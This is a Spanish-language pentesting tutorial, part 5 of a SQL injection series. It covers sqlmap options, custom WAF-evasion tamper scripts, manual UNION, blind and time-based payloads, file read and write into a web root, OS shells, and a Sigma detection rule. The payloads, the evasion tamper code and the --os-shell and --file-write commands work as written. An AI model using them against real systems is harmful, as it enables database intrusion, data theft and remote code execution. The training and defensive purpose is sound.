SQL Injection — Tomo V: Arsenal Ofensivo — sqlmap a Fondo, Tampers Custom y Explotación Manual
sqlmap no es un botón mágico. Es un motor de inferencia que puedes pilotar como un cirujano o disparar como una escopeta. Este tomo te enseña a pilotarlo — y a escribir tus propios tampers cuando el WAF gana.
Categoría: SQL Injection · Web Security · Pentesting Ofensivo Nivel: Intermedio → Avanzado Tiempo de lectura: 26 min Serie: SQL Injection Completo — 9 Tomos | Tomo 5 de 9 · Trilogía 2 (Superficies Modernas) Prerrequisito: Tomo 1, Tomo 2, Tomo 3 y Tomo 4 recomendados OWASP: A03:2021 — Injection CWE: CWE-89 — SQL Injection Laboratorio asociado: WEB-06: SQL Injection Clásica · WEB-07: Blind SQLi Time-Based · WEB-08: Blind SQLi · TribuCibernetica Cyber Range
"La herramienta automatiza lo que ya entiendes. Si no entiendes lo que sqlmap hace por dentro, no lo estás usando: lo estás obedeciendo. Y una escopeta que obedeces sola es tan peligrosa para tu engagement como para el objetivo."
Cuando el WAF es el Vulnerable
En julio de 2025, Fortinet publicó un aviso que tiene un sabor particular a ironía. CVE-2025-25257: una inyección SQL sin autenticación en FortiWeb — el Web Application Firewall de Fortinet. La puntuación CVSS: 9.6. Crítica.
Detente en la frase. El producto cuyo trabajo literal es detener inyecciones SQL contenía una inyección SQL explotable por cualquiera, sin credenciales, con una simple petición HTTP manipulada.
Y no se quedó en fuga de datos. La cadena escalaba a ejecución remota de código. El input controlado por el atacante llegaba a una consulta SQL sin sanitizar; desde ahí, usando la técnica clásica SELECT ... INTO OUTFILE, el atacante escribía un archivo malicioso en el sistema de ficheros. Como la consulta corría bajo el usuario mysql, ese archivo aterrizaba en el disco del servidor, y desde ahí se lograba ejecución de código —en los análisis públicos, a través de la capacidad del sistema para ejecutar Python. De una petición HTTP no autenticada a control del sistema operativo, encadenando inyección → escritura de archivo → RCE.
FortiWeb no fue un caso aislado en 2025. En febrero, Rapid7 —de la mano del investigador Stephen Fewer— reveló CVE-2025-1094: una inyección SQL en psql, la herramienta interactiva de PostgreSQL, con CVSS 8.1. Lo interesante de esta: los desarrolladores hacían "todo bien", usando la función PQescapeLiteral() que la propia documentación recomienda para escapar cadenas. El problema era que, al pasar caracteres UTF-8 inválidos, el escapado se podía romper — la cadena se terminaba de forma indebida y se abría la puerta a inyectar comandos, escalando a RCE mediante la meta-orden ! de psql. No fue teoría: se explotó activamente en la naturaleza, encadenada con un zero-day de BeyondTrust, y existe un módulo de Metasploit para ella. PostgreSQL la corrigió en las versiones 17.3, 16.7, 15.11, 14.16 y 13.19.
¿La lección de abrir con estos dos casos? SQL Injection no es una vulnerabilidad de los 2000 que ya "se resolvió con ORMs". En 2025 seguía apareciendo en el firewall que debía detenerla y en la herramienta oficial de una de las bases de datos más serias del mundo, escalando a RCE en ambos casos. Sigue siendo A03 en el OWASP Top 10. Y explotarla bien —de forma quirúrgica, evadiendo defensas, hasta el impacto real— es una de las habilidades que más distinguen a un pentester web competente de uno que solo sabe apretar "Enter" en una herramienta.
Los Tomos 1 al 4 de esta saga te dieron los fundamentos: la anatomía de SQLi, Blind Boolean y Time-based, los tres vectores de evasión (Second-Order, WAF y OOB), y la superficie moderna (GraphQL, ORMs, WebSockets). Este Tomo 5 es distinto. Es el tomo del arsenal: cómo pilotar sqlmap como un profesional, cómo escribir tus propios tampers cuando los que vienen de fábrica no bastan, y cómo explotar a mano cuando la herramienta falla — que es, justamente, cuando aparecen los objetivos que valen la pena.
Índice
- Por qué este tomo: la herramienta no sustituye el entendimiento
- El modelo mental: qué hace sqlmap por dentro
- Anatomía de las técnicas:
--technique=BEUSTQexplicado - Detección afinada: qué prueban de verdad
--levely--risk - El flujo profesional: de la detección al dump sin destrozar el objetivo
- Fingerprinting y enumeración quirúrgica
- Cuando la herramienta falla: por qué la explotación manual sigue mandando
- WAF y filtros: tampers explicados de verdad (no como lista mágica)
- Anatomía de un tamper script: la función
tamper() - Escribir un tamper custom paso a paso (caso real)
- Explotación avanzada: lectura/escritura de archivos y shells
- Second-Order con sqlmap:
--second-urly--second-req - Perspectiva defensiva: detectar sqlmap y explotación manual
- Laboratorio en el Cyber Range
- Lo que viene en el Tomo 6
- Glosario técnico
- Referencias técnicas
1. Por Qué Este Tomo: la Herramienta No Sustituye el Entendimiento
Hay una idea peligrosa que circula entre quienes empiezan: que sqlmap "hace el hacking por ti". Que apuntas la herramienta a una URL, corres --dump-all --batch, y listo.
Esa idea te va a costar hallazgos, y en un engagement real te puede costar el engagement entero. Porque sqlmap, usado sin criterio, es ruidoso, destructivo y ciego a la mitad de las inyecciones que importan. La configuración por defecto no encuentra inyecciones en cookies, ni en cabeceras, ni en cuerpos JSON complejos, ni Second-Order, ni la mayoría de los casos que están detrás de un WAF. Y --dump-all sin pensar puede tumbar una base de datos de producción o disparar todas las alarmas del SOC en tu primer minuto.
La forma correcta de pensar en sqlmap es esta: es un motor de inferencia que automatiza lo que tú ya entiendes. Igual que en el Tomo 1 de AI Security dijimos que garak y Promptfoo son a los LLMs lo que sqlmap es a SQLi — automatizan lo conocido para que te enfoques en lo que requiere criterio humano. sqlmap prueba, por ti y a gran velocidad, las hipótesis de inyección que tú sabes que existen. Pero cuáles hipótesis probar, dónde, con qué técnica y evadiendo qué defensa — eso lo decides tú. Y cuando la herramienta se topa con un filtro que no sabe pasar, eres tú quien escribe el tamper o baja a explotar a mano.
Este tomo asume que dominas los Tomos 1-4. No vamos a re-explicar qué es una UNION o un Blind Boolean. Vamos a explotarlos con maestría.
2. El Modelo Mental: Qué Hace sqlmap por Dentro
Antes de un solo comando, el modelo mental. sqlmap no "adivina" contraseñas ni "fuerza" nada. Hace algo más elegante: inferencia basada en la respuesta del servidor.
El ciclo interno, simplificado:
┌──────────────────────────────────────────────────────────┐
│ 1. sqlmap toma un PARÁMETRO (?id=1) y le añade una │
│ carga de prueba diseñada para provocar una respuesta │
│ distinguible. │
│ │
│ 2. Envía la petición y OBSERVA la respuesta: ¿cambió el │
│ contenido? ¿apareció un error? ¿tardó N segundos? │
│ ¿el resultado booleano fue verdadero o falso? │
│ │
│ 3. COMPARA contra una petición base ("true" vs "false", │
│ con retardo vs sin retardo, con error vs sin error). │
│ │
│ 4. Si la diferencia es consistente y controlable → │
│ hay inyección. sqlmap ahora sabe QUÉ técnica funciona.│
│ │
│ 5. EXPLOTA: usa esa técnica para extraer datos, un bit / │
│ un carácter a la vez, automatizando lo que a mano │
│ tomaría horas. │
└──────────────────────────────────────────────────────────┘
Todo lo demás —niveles, riesgos, tampers, técnicas— son perillas para afinar cómo se ejecuta ese ciclo. Cuando entiendes que el corazón de sqlmap es "provocar una respuesta distinguible y comparar", entiendes por qué un tamper puede rescatar un escaneo (cambia la forma del payload sin cambiar su efecto), y por qué la explotación manual es siempre posible (tú puedes hacer la misma comparación a mano).
Este es el mismo principio del Blind del Tomo 2, industrializado: hacer la pregunta correcta y leer la respuesta.
3. Anatomía de las Técnicas: --technique=BEUSTQ Explicado
La bandera --technique le dice a sqlmap qué familias de inyección probar. Por defecto las prueba todas, pero un profesional las selecciona — porque cada una tiene un costo de ruido y de tiempo distinto. Las seis letras:
B → Boolean-based blind
Inferencia por respuesta verdadera/falsa. Sigilosa,
lenta. La caballería del Tomo 2.
E → Error-based
Fuerza al motor a filtrar datos dentro de un mensaje
de error. Rápida y ruidosa. Del Tomo 1.
U → UNION query-based
Une el resultado del atacante al del query legítimo.
La más rápida para extraer — cuando el contexto la
permite. Del Tomo 1.
S → Stacked queries
Apila un segundo query con ';'. Habilita escritura,
no solo lectura: la puerta a INTO OUTFILE, a stacked
DML y —vía xp_cmdshell en MSSQL— a RCE. Del Tomo 7.
T → Time-based blind
Inferencia por retardo (SLEEP/WAITFOR). La técnica de
último recurso: funciona cuando no hay ninguna otra
señal. Muy lenta, muy sigilosa. Del Tomo 2.
Q → Inline queries
Subconsulta incrustada dentro del query original.
Selección profesional según el escenario:
# Objetivo con WAF, quieres sigilo y sospechas blind:
sqlmap -u "https://objetivo/item?id=1" --technique=BT --level=3
# Objetivo permisivo, quieres velocidad de extracción:
sqlmap -u "https://objetivo/item?id=1" --technique=EU
# Buscas escalar a escritura de archivos / RCE (Tomo 7):
sqlmap -u "https://objetivo/item?id=1" --technique=S
Elegir la técnica no es un detalle cosmético. En un objetivo con detección, lanzar Error-based (E, ruidosa) cuando bastaba Boolean (B, sigilosa) es la diferencia entre un hallazgo limpio y una IP baneada.
4. Detección Afinada: Qué Prueban de Verdad --level y --risk
Estas dos banderas son las más malentendidas de sqlmap. La creencia común —"súbelas al máximo y encontrarás más"— es a medias verdad y a medias una forma de destrozar un objetivo. Entiéndelas de verdad.
--level (1 a 5) controla QUÉ se prueba y DÓNDE. No es "intensidad genérica"; es la amplitud de la superficie:
--level=1 (default) Solo parámetros GET y POST.
--level=2 + Cookies. (Muchas inyecciones viven aquí
y el default NUNCA las ve.)
--level=3 + Cabeceras User-Agent y Referer.
--level=4 + Más payloads y variantes.
--level=5 + Cabecera Host y el conjunto más amplio
de puntos y payloads.
La consecuencia práctica es enorme: una inyección en una cookie es invisible en --level=1. Si tu escaneo por defecto sale limpio, no significa que el objetivo sea seguro — significa que solo miraste GET y POST. Subir el nivel amplía dónde busca sqlmap.
--risk (1 a 3) controla CUÁN peligrosos son los payloads:
--risk=1 (default) Payloads seguros. No modifican datos.
--risk=2 + Payloads time-based pesados.
--risk=3 + Payloads con OR y otros que, mal
aplicados, PUEDEN alterar datos
(imagina un OR en un UPDATE).
--risk=3 es donde la gente destroza bases de datos de clientes. Un payload basado en OR inyectado en el contexto equivocado —un UPDATE o un DELETE— puede afectar filas que no debía. Nunca uses --risk=3 en producción sin entender exactamente qué query estás tocando. Esta es la clase de detalle que separa al profesional del que va a tener una conversación muy incómoda con su cliente.
Un flujo escalonado y responsable:
# Fase 1 — reconocimiento seguro
sqlmap -u "URL" --level=1 --risk=1 --batch
# Fase 2 — ampliar superficie (cookies, cabeceras)
sqlmap -u "URL" --level=3 --risk=1 --batch
# Fase 3 — agresivo, SOLO con permiso y sabiendo qué tocas
sqlmap -u "URL" --level=5 --risk=2 --batch
5. El Flujo Profesional: de la Detección al Dump sin Destrozar el Objetivo
En la práctica real —y sobre todo en bug bounty y engagements— casi nunca partes de una URL cruda. Partes de una petición capturada en Burp, con sus cookies de sesión, sus cabeceras y su cuerpo. La forma profesional de alimentar eso a sqlmap es con -r:
# Guarda la petición completa desde Burp a un archivo y:
sqlmap -r peticion.txt --batch
# Apunta a un parámetro específico que sospechas:
sqlmap -r peticion.txt -p "search" --batch
Esto preserva sesión, cabeceras y cuerpo tal cual — indispensable para endpoints autenticados o APIs. A partir de ahí, el pilotaje fino:
# Estabilidad de sesión entre corridas (reanuda, no reempieza):
sqlmap -r peticion.txt --batch \
--output-dir="./cliente/$(date +%Y%m%d)"
# Control de ruido y velocidad:
# --delay=1 retardo entre peticiones (evita rate-limit)
# --time-sec=5 umbral del blind time-based
# --threads=1 una sola conexión (sigilo máximo)
sqlmap -r peticion.txt --batch --delay=1 --threads=1
# Fija el motor si ya lo conoces (ahorra peticiones ruidosas):
sqlmap -r peticion.txt --dbms=mysql --batch
La regla de oro del dump responsable: enumera antes de extraer, y extrae solo lo que necesitas para probar el impacto. No corras --dump-all en un cliente. Demuestra el acceso con lo mínimo:
# 1. ¿Qué bases de datos hay?
sqlmap -r peticion.txt --dbs --batch
# 2. ¿Qué tablas en la de interés?
sqlmap -r peticion.txt -D nombre_db --tables --batch
# 3. ¿Qué columnas en la tabla sensible?
sqlmap -r peticion.txt -D nombre_db -T usuarios --columns --batch
# 4. Extrae SOLO lo necesario para el PoC (una fila basta):
sqlmap -r peticion.txt -D nombre_db -T usuarios \
-C usuario,hash --dump --start=1 --stop=1 --batch
Extraer una sola fila con --start=1 --stop=1 prueba el impacto sin exfiltrar la base entera de un cliente. En bug bounty, esto también te protege: dumpear millones de registros de PII puede convertir un reporte legítimo en un problema legal para ti.
6. Fingerprinting y Enumeración Quirúrgica
Antes de explotar a fondo conviene saber contra qué juegas. sqlmap puede perfilar el objetivo:
# Fingerprint del motor y versión, banner, usuario actual,
# si es DBA (clave para saber si podrás escribir archivos):
sqlmap -r peticion.txt --fingerprint --banner \
--current-user --current-db --is-dba --batch
--is-dba es una de las preguntas más importantes de todo el engagement: si el usuario de base de datos tiene privilegios de administrador, la escritura de archivos y las shells de la sección 11 están sobre la mesa. Si no, tu impacto se limita a lectura — todavía valioso, pero distinto.
Perfilar el motor también decide tus tampers (sección 8) y tu sintaxis manual (sección 7): la función de retardo es SLEEP() en MySQL, pg_sleep() en PostgreSQL, WAITFOR DELAY en MSSQL. Confundirlas es el error #1 del principiante en explotación manual.
7. Cuando la Herramienta Falla: Por Qué la Explotación Manual Sigue Mandando
Aquí está la parte que separa a los profesionales. sqlmap falla —o parece fallar— más seguido de lo que crees, y casi siempre por una de estas razones:
□ La inyección está en un contexto que sqlmap no modela bien
(JSON anidado, una inyección de segundo orden, un flujo
multi-paso, un parámetro que se transforma antes del query).
□ El WAF bloquea todos los payloads de fábrica de sqlmap
(su tráfico tiene firmas conocidas y muy detectadas).
□ La señal es demasiado sutil o la app introduce ruido que
confunde la comparación booleana de sqlmap.
□ Rate-limiting o defensas anti-automatización cortan el escaneo.
En todos estos casos, la explotación manual no es un plan B — es el plan. Y es más simple de lo que parece, porque aplica el mismo modelo mental de la sección 2: provocar una respuesta distinguible y comparar.
UNION manual — el flujo canónico:
-- 1. Encontrar el número de columnas (incrementa hasta que
-- deje de dar error / cambie la respuesta):
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - ← si falla en 4, hay 3 columnas
-- 2. Encontrar columnas "reflejadas" (que se muestran):
' UNION SELECT 1,2,3-- - ← observa qué números aparecen
-- 3. Extraer en las columnas reflejadas:
' UNION SELECT 1,version(),database()-- -
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -
Boolean blind manual — cuando no hay nada reflejado:
-- Pregunta sí/no comparando la respuesta de la app:
' AND 1=1-- - ← página "normal" (verdadero)
' AND 1=2-- - ← página "distinta" (falso)
-- Extraer un carácter comparando (aquí, primera letra del
-- usuario actual > 'm'):
' AND SUBSTRING((SELECT current_user),1,1) > 'm'-- -
-- Binary search carácter por carácter. Tedioso a mano, pero
-- SIEMPRE posible — y auditable cuando sqlmap se pierde.
Time-based manual — cuando no hay ni diferencia booleana visible:
-- MySQL:
' AND IF(1=1, SLEEP(5), 0)-- -
-- PostgreSQL:
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- MSSQL:
'; IF (1=1) WAITFOR DELAY '0:0:5'-- -
El punto no es memorizar payloads — es entender que cualquier cosa que sqlmap automatiza, tú la puedes hacer a mano, porque el mecanismo es el mismo. Cuando entiendes esto, sqlmap deja de ser una caja negra que "funciona o no funciona" y se vuelve un asistente que aceleras o sustituyes según convenga. Además, muchos programas de bug bounty y CTFs premian precisamente los casos donde la herramienta no llega solita.
8. WAF y Filtros: Tampers Explicados de Verdad (No como Lista Mágica)
Aquí es donde internet te falla. Busca "sqlmap tamper" y encontrarás cientos de artículos que te dan la misma línea copiada: --tamper=apostrophemask,between,charencode,... con treinta scripts encadenados y cero explicación. Eso es cargar una escopeta y disparar a ciegas. Peor: encadenar tampers incompatibles puede romper tus payloads y hacer que un objetivo vulnerable parezca seguro.
Un tamper script es una transformación que sqlmap aplica a cada payload antes de enviarlo, para evadir filtros de entrada y WAFs. La clave: cambia la forma del payload sin cambiar su efecto. SELECT bloqueado se convierte en algo que el WAF no reconoce pero el motor SQL sí ejecuta igual.
En vez de la lista mágica, entiende las familias de tampers y elige por objetivo:
Familia 1 — Sustitución de espacios (contra WAFs que filtran el espacio o lo usan como delimitador de firmas):
space2comment → espacio se vuelve /**/
(verificado en el fuente de sqlmap: rastrea
el estado de comillas para transformar solo
los espacios que actúan como delimitadores)
space2plus → espacio se vuelve +
space2randomblank → espacio se vuelve un blanco aleatorio (%09, %0A...)
space2hash / space2mysqldash → variantes específicas de MySQL
Familia 2 — Codificación de caracteres (contra filtros de firmas en texto plano):
charencode → URL-encode de los caracteres
charunicodeencode → codificación unicode
chardoubleencode → doble URL-encode (útil contra WAFs que
decodifican una sola vez)
base64encode → el payload viaja en base64 (si la app lo
decodifica antes del query)
Familia 3 — Ofuscación de palabras clave (contra listas negras de SELECT, UNION, etc.):
randomcase → SeLeCt en vez de SELECT
equaltolike → '=' se vuelve 'LIKE'
between → '>' se reescribe con BETWEEN
halfversionedmorekeywords / versionedkeywords → insertan
comentarios de versión de MySQL (/*!SELECT*/) que el motor
ejecuta pero la firma del WAF no reconoce
modsecurityversioned → específico contra ModSecurity
La metodología correcta (que casi nadie enseña):
# 1. IDENTIFICA el WAF primero:
sqlmap -u "URL" --identify-waf --batch
# 2. Escala la evasión gradualmente, NO todo de golpe:
# Nivel 1 — evasión básica:
sqlmap -u "URL" --tamper=space2comment --random-agent --batch
# Nivel 2 — moderada:
sqlmap -u "URL" \
--tamper=space2comment,between,randomcase \
--random-agent --delay=1 --batch
# Nivel 3 — agresiva:
sqlmap -u "URL" \
--tamper=space2comment,between,randomcase,charencode \
--random-agent --delay=2 --tor --batch
# 3. Si NADA de fábrica funciona → escribe tu propio tamper.
Emparejar el tamper con el motor y el WAF importa: space2mysqldash no tiene sentido contra PostgreSQL. Cargar treinta tampers a ciegas no es "más potente" — es lento, ruidoso y frágil.
9. Anatomía de un Tamper Script: la Función tamper()
Cuando ningún tamper de fábrica pasa el filtro, escribes el tuyo. Y para eso necesitas ver cómo está hecho uno por dentro. La estructura, verificada contra el propio código de sqlmap, es sorprendentemente simple:
#!/usr/bin/env python
"""
Estructura canonica de un tamper de sqlmap.
Se guarda en el directorio tamper/ de sqlmap.
"""
from lib.core.enums import PRIORITY
# Prioridad de aplicacion cuando se encadenan varios tampers.
# LOWEST, LOWER, NORMAL, HIGHER, HIGHEST.
__priority__ = PRIORITY.NORMAL
def dependencies():
# Se ejecuta al cargar. Sirve para avisar de compatibilidad
# (ej. "solo funciona en MySQL"). Puede quedar vacia.
pass
def tamper(payload, **kwargs):
"""
EL CORAZON. Recibe el payload crudo y devuelve el modificado.
sqlmap llama a esta funcion para CADA payload antes de enviarlo.
"""
# kwargs trae contexto util de la ejecucion, p.ej.:
# kwargs.get("dbms") -> el motor detectado
# kwargs.get("hint") -> pistas del contexto
# Un buen tamper puede decidir su transformacion segun el dbms.
if payload:
# ... aqui va tu logica de transformacion ...
pass
return payload
Tres cosas que entender:
tamper(payload, **kwargs)es el único punto obligatorio. Recibe el string del payload, lo transforma, lo devuelve.- Los tampers se ejecutan en pipeline, en orden de
__priority__. Por eso el orden importa: si un tamper codifica y otro sustituye, el resultado depende de quién va primero. **kwargste da contexto —como eldbmsdetectado— para hacer tampers inteligentes que se adaptan al motor, en vez de transformaciones ciegas.
Ojo con el costo: como advierte la documentación, un tamper complejo se ejecuta para cada intento de payload, así que un tamper pesado ralentiza notablemente el escaneo. Simplicidad sobre elegancia.
10. Escribir un Tamper Custom Paso a Paso (Caso Real)
Escenario realista: auditas una aplicación tras un WAF que bloquea cualquier payload que contenga la palabra SELECT, en cualquier combinación de mayúsculas/minúsculas, pero —error de configuración común— no inspecciona payloads que intercalan comentarios inline dentro de las palabras clave. randomcase no basta porque el WAF normaliza el caso antes de comparar. Necesitas partir la palabra clave con comentarios.
Objetivo: convertir SELECT en SEL/**/ECT (u otra variante que el motor ejecuta pero la firma del WAF no reconoce). Escribimos el tamper:
#!/usr/bin/env python
"""
tamper: keyword_comment_split
Parte palabras clave SQL con comentarios inline para evadir
WAFs que hacen matching de firmas sobre keywords completas.
USO EXCLUSIVO en engagements autorizados.
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
# Palabras clave que queremos fragmentar.
KEYWORDS = ("SELECT", "UNION", "WHERE", "FROM", "AND", "OR")
def dependencies():
pass
def _split_keyword(match):
# Inserta /**/ despues del primer caracter de la keyword:
# SELECT -> S/**/ELECT
word = match.group(0)
return word[0] + "/**/" + word[1:]
def tamper(payload, **kwargs):
if not payload:
return payload
# Construimos un patron que casa cualquiera de las keywords,
# sin importar el caso (re.IGNORECASE), como palabra completa.
pattern = r"\b(" + "|".join(KEYWORDS) + r")\b"
retval = re.sub(pattern, _split_keyword, payload, flags=re.IGNORECASE)
return retval
Lo pruebas de forma aislada antes de lanzarlo contra el objetivo, para verificar la transformación:
# 1. Copia el archivo al directorio tamper/ de sqlmap.
# 2. Verifica que aparece en el catalogo:
sqlmap --list-tampers | grep keyword_comment_split
# 3. Uselo (idealmente combinado con codificacion de espacios):
sqlmap -r peticion.txt \
--tamper=keyword_comment_split,space2comment \
--random-agent --batch
Un payload que antes viajaba como 1 UNION SELECT ... —bloqueado— ahora sale como 1/**/U/**/NION/**/S/**/ELECT/**/... tras encadenar ambos tampers: irreconocible para una firma de WAF que busca UNION SELECT, pero perfectamente ejecutable por el motor. Esto es lo que separa a quien "usa sqlmap" de quien lo domina: cuando la herramienta se queda corta, la extiendes.
Un tamper es una hipótesis sobre cómo piensa el WAF. Escribirlo te obliga a entender el filtro, que es exactamente la habilidad que un cliente te paga por tener.
11. Explotación Avanzada: Lectura/Escritura de Archivos y Shells
Cuando el usuario de base de datos tiene privilegios suficientes (recuerda --is-dba de la sección 6), SQLi deja de ser solo lectura de datos y se convierte en un punto de apoyo hacia el sistema operativo. Este es el puente al Tomo 7 (SQLi → RCE), y la técnica exacta detrás del CVE de FortiWeb con el que abrimos.
sqlmap expone estas capacidades directamente:
# Leer un archivo del servidor (ej. config con credenciales):
sqlmap -r peticion.txt --file-read="/etc/passwd" --batch
# Escribir un archivo en el servidor (el corazon de INTO OUTFILE,
# la tecnica del CVE-2025-25257 de FortiWeb):
sqlmap -r peticion.txt \
--file-write="shell_local.txt" \
--file-dest="/var/www/html/nota.txt" --batch
# Shell SQL interactiva (ejecuta queries arbitrarios):
sqlmap -r peticion.txt --sql-shell --batch
# Shell del SISTEMA OPERATIVO (cuando el motor y privilegios
# lo permiten; en MSSQL via xp_cmdshell, en MySQL via escritura
# de webshell a un directorio servido, etc.):
sqlmap -r peticion.txt --os-shell --batch
El mecanismo manual detrás de --file-write en MySQL es exactamente el de FortiWeb:
-- Escribir contenido a un archivo en el sistema (requiere
-- FILE privilege y secure_file_priv permisivo):
' UNION SELECT 'contenido',2,3 INTO OUTFILE '/var/www/html/x.txt'-- -
Si ese directorio es servido por el webserver y el contenido es una webshell, acabas de convertir una inyección SQL en ejecución de código — el salto de "leer datos" a "controlar el servidor". Por eso el CVE de FortiWeb era 9.6 y no un simple leak: la cadena SQLi → INTO OUTFILE → RCE bajo el usuario mysql es de las más impactantes de la web security.
Advertencia profesional: --os-shell y la escritura de archivos son acciones de alto impacto que dejan artefactos en el sistema del objetivo. En un engagement, documenta todo lo que escribes y límpialo. En bug bounty, muchos programas prohíben explícitamente ir más allá de la prueba de lectura — confirma el alcance antes de escalar a RCE, o tu hallazgo legítimo se vuelve una violación de reglas.
12. Second-Order con sqlmap: --second-url y --second-req
El Tomo 3 cubrió Second-Order SQLi conceptualmente: el payload se almacena en un paso (ej. registrar un usuario) y se ejecuta en otro paso distinto (ej. cuando un admin ve el perfil). sqlmap, contra la creencia popular, sí puede automatizar esto — muchos no lo saben:
# El payload se inyecta en una peticion, pero el efecto se
# observa en OTRA URL (donde el dato almacenado se usa):
sqlmap -r registro.txt --second-url="https://objetivo/perfil" --batch
# O, para flujos mas complejos, la segunda peticion completa
# se define en un archivo aparte:
sqlmap -r registro.txt --second-req=segunda_peticion.txt --batch
Esto le dice a sqlmap: "inyecta aquí, pero para evaluar si funcionó, ve a mirar allá". Es exactamente el modelo de dos pasos del Second-Order. Combinado con la explotación manual de la sección 7 (por si sqlmap pierde la señal en el flujo), tienes cubierto uno de los vectores que más se escapan en las auditorías — y que, por lo mismo, más pagan cuando los encuentras.
13. Perspectiva Defensiva: Detectar sqlmap y Explotación Manual
Todo tomo ofensivo de TribuCibernetica cierra con el lado azul. Detectar SQLi tiene dos frentes: atrapar el ruido de la herramienta automatizada, y —más difícil— atrapar al atacante manual y cuidadoso.
Detectar sqlmap (lo fácil). La herramienta, sin tuning, deja firmas claras:
□ User-Agent por defecto que contiene "sqlmap" (por eso los
atacantes usan --random-agent; su ausencia es un regalo).
□ Volumen anómalo de peticiones al mismo parámetro variando
ligeramente el valor (la inferencia bit a bit del blind).
□ Payloads con patrones caracteristicos: ORDER BY incremental,
AND 1=1 / AND 1=2, funciones de retardo (SLEEP, pg_sleep,
WAITFOR), UNION SELECT con NULLs.
□ Retardos de respuesta regulares y crecientes (time-based).
Una regla en formato Sigma para el frente automatizado:
title: Posible SQL Injection automatizada (patrones sqlmap)
id: 9a1b7e42-sqli-05-4c8f-b3d1-detection-manual
status: experimental
description: >
Detecta indicadores de escaneo SQLi automatizado en logs de
servidor web: user-agent de sqlmap, o alta frecuencia de
payloads caracteristicos de inferencia booleana/temporal
contra un mismo endpoint.
logsource:
category: webserver
detection:
ua_sqlmap:
c-useragent|contains: 'sqlmap'
payloads_sqli:
cs-uri-query|contains:
- 'UNION SELECT'
- 'ORDER BY'
- ' AND 1=1'
- ' AND 1=2'
- 'SLEEP('
- 'pg_sleep('
- 'WAITFOR DELAY'
- 'INTO OUTFILE'
- 'information_schema'
condition: ua_sqlmap or payloads_sqli
fields:
- c-ip
- c-useragent
- cs-uri-stem
- cs-uri-query
falsepositives:
- Escaneos autorizados de seguridad (registrar la IP del
equipo de pentest en una allowlist durante el engagement).
- Aplicaciones legitimas que usan estas palabras en parametros.
level: high
tags:
- attack.initial_access
- attack.t1190
- cwe.89
- owasp.a03
Detectar al atacante manual (lo difícil). Un pentester cuidadoso con --random-agent, --delay y payloads codificados por tampers no dispara las firmas de arriba. Contra eso, la defensa no es una firma sino:
□ Consultas parametrizadas (prepared statements): la ÚNICA
solución estructural real —como establecimos en el Tomo 1
de esta saga. Elimina la clase de vulnerabilidad, no la
detecta. Sin SQLi, no hay qué detectar.
□ Menor privilegio en el usuario de BD: sin FILE privilege,
sin secure_file_priv permisivo, la cadena INTO OUTFILE → RCE
del CVE de FortiWeb no despega aunque exista la inyección.
□ Anomalías de comportamiento en la capa de datos: un endpoint
de "ver producto" que de pronto lee information_schema o
escribe archivos es una anomalía, aunque venga ofuscada.
□ WAF como capa de contención, NO como solución —el CVE de
FortiWeb prueba que el WAF mismo puede ser el vulnerable.
El mensaje defensivo es el mismo que atraviesa toda la saga: la detección ayuda, pero la parametrización resuelve. En SQLi, a diferencia de la inyección en LLMs del Tomo 1 de AI Security, sí existe la solución estructural completa. Úsala.
14. Laboratorio en el Cyber Range
Practica todo este arsenal en los labs WEB-06: SQL Injection Clásica, WEB-07: Blind SQL Injection (Time-Based) y WEB-08: Blind SQL Injection del Cyber Range. Los ejercicios de este tomo cubren:
- Pilotaje afinado de sqlmap:
--level/--risk, técnicas,-rdesde Burp, dump responsable - Detección y explotación manual cuando la herramienta se pierde (UNION, Boolean, Time-based a mano)
- Objetivos protegidos por WAF donde ningún tamper de fábrica basta — y tienes que escribir el tuyo
- La cadena
SQLi → INTO OUTFILE → RCEen un entorno controlado, replicando el mecanismo del CVE-2025-25257 - Second-Order automatizado con
--second-url - El lado defensivo: desplegar y afinar la regla Sigma contra tu propio ataque
Cada lab incluye:
- Entorno aislado y reproducible, con motor real (MySQL, PostgreSQL, MSSQL según el ejercicio)
- WAF configurable para practicar evasión y escritura de tampers
- Flag de confirmación al lograr el objetivo
- Writeup técnico con la mitigación (parametrización, menor privilegio) explicada
→ Acceder al Cyber Range: cyber-range.tribucibernetica.com
15. Lo Que Viene en el Tomo 6
El Tomo 6 sube el listón de la evasión: técnicas avanzadas contra WAFs modernos de 2025-2026.
- WAFs con machine learning: por qué las firmas cambian y cómo cambia la evasión
- Bypass específico de Cloudflare y AWS WAF documentado
- HTTP Request Smuggling aplicado a la inyección
- Ofuscación a nivel de protocolo y de codificación que los tampers de fábrica no cubren
- Construcción de una cadena de tampers propia para un WAF real, de principio a fin
Glosario Técnico — SQL Injection Tomo 5
| Término | Definición |
|---|---|
| sqlmap | Herramienta open source que automatiza la detección y explotación de SQL injection mediante inferencia sobre la respuesta del servidor |
| Tamper script | Módulo de Python que transforma un payload antes de enviarlo, para evadir filtros y WAFs sin cambiar su efecto sobre el motor SQL |
--technique (BEUSTQ) | Selecciona qué familias de inyección prueba sqlmap: Boolean, Error, Union, Stacked, Time-based, inline Queries |
--level (1-5) | Controla qué puntos de inyección prueba sqlmap (GET/POST, cookies, cabeceras) y cuántos payloads |
--risk (1-3) | Controla cuán peligrosos son los payloads; risk=3 puede alterar datos |
-r peticion.txt | Carga una petición HTTP completa (desde Burp) preservando sesión, cabeceras y cuerpo |
--is-dba | Comprueba si el usuario de BD tiene privilegios de administrador (habilita escritura de archivos y shells) |
| INTO OUTFILE | Cláusula de MySQL que escribe el resultado de un query a un archivo del sistema; base de la cadena SQLi → RCE |
--os-shell | Función de sqlmap que intenta obtener una shell del sistema operativo cuando motor y privilegios lo permiten |
--second-url / --second-req | Opciones para automatizar Second-Order SQLi: inyectar en una petición y observar el efecto en otra |
| UNION-based | Técnica que une el resultado del atacante al del query legítimo con UNION SELECT |
| Boolean blind | Inferencia de datos comparando respuestas verdadero/falso de la aplicación |
| Time-based blind | Inferencia por retardo inducido (SLEEP, pg_sleep, WAITFOR DELAY) |
| secure_file_priv | Variable de MySQL que restringe desde/hacia qué directorios se puede leer/escribir; si es permisiva, habilita INTO OUTFILE |
| Prepared statement | Consulta parametrizada; la solución estructural completa contra SQLi |
Referencias Técnicas
- OWASP — "A03:2021 Injection" · OWASP Testing Guide (WSTG) para SQL Injection
